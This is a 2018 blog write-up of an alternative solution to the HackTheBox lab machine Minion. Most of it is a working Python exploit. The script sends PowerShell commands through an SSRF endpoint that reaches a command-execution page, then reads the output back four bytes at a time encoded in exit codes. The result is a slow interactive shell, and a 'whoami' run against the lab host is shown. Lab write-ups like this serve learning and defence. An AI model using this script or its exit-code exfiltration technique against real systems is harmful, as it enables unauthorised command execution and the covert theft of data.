Booj thoughts on security
HackTheBox - Minion Error Code Exfiltration
This is a writeup of an alternative technique for Minion, which involves exfiltrating data via error codes. All credits for this technique go to @m0noc who actually made this work and used it to pwn Minion.
The Situation
In Minion we had command execution which returned the exit code of the command called. 0 for success and 1 for failure. In reality, the exit code is entirely controllable by the caller of any process. e.g.
PS C:\Users\Booj> powershell -c 'exit 1234'
PS C:\Users\Booj> echo $lastexitcode
1234
The error code is a 32 bit signed integer so we have a maximum of 4 bytes. Since a character only takes up a single byte (ascii), we can encode any sequence of characters within a sequence of error codes.
Proof of Concept
In this proof of concept we run a command and save the result to a file, returning as the first exit code the length of the result. We then sequentially send commands to fetch and output each 4 byte sequence as an error code, decoding on our end and yielding a basic shell.
import requests
import sys
import urllib2
'''
Command Creation
'''
def get_cmd_length(command):
cmd = '$command = (Invoke-Command -ScriptBlock } | Out-String).TrimStart().TrimEnd(); $command | Out-File $env:temp/merror.txt -encoding ASCII ;exit $command.length'.format(command)
return cmd
def error_exfil(command, output_length):
output_length = int(output_length)
for start in range(0, int(output_length), 4):
if (output_length - start) < 4:
amount_to_fetch = output_length-start
else:
amount_to_fetch = "4"
run_cmd = '$fs = Get-Content $env:temp/merror.txt -Encoding Byte -ReadCount 0; $bytearray = $fs[{0}..{1}]; $hex = [System.BitConverter]::ToString($bytearray) -replace \'-\',\'\';\
echo $hex; exit ([convert]::ToInt32($hex, 16));'.format(start, int(start)+int(amount_to_fetch)-1)
yield run_cmd
def decode_error(errorval):
val = hex(int(errorval))[2:]
if len(val)%2 !=0:
val = '0'+ val
return val.decode('hex')
'''
Command Sending and Receiving
'''
def run_on_minion(command):
url = 'http://10.10.10.57:62696'
base_url = "/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd="
pshell = "powershell -Command \"{0}\"".format(command)
req = requests.get(url+base_url+urllib2.quote(pshell))
#TODO filter this properly
result = req.text
error_code = [x.split('=')[1] for x in result.split('\n') if "Exit Status" in x][0]
return error_code
'''
Main Loop
'''
def main():
while True:
cmd = raw_input('PS>')
len_cmd = get_cmd_length(cmd)
length_of_command = run_on_minion(len_cmd)
for torun in error_exfil(cmd, length_of_command):
errorval = run_on_minion(torun)
decodedval = decode_error(errorval)
sys.stdout.write(decodedval)
sys.stdout.flush()
sys.stdout.write('\n')
sys.stdout.flush()
if __name__ == '__main__':
main()
It should work as is and give us a very slow shell!
root@kali:~# python minionerr.py
PS>whoami
iis apppool\defaultapppool
That’s all folks!
Written on April 16th, 2018 by Josiah Beverton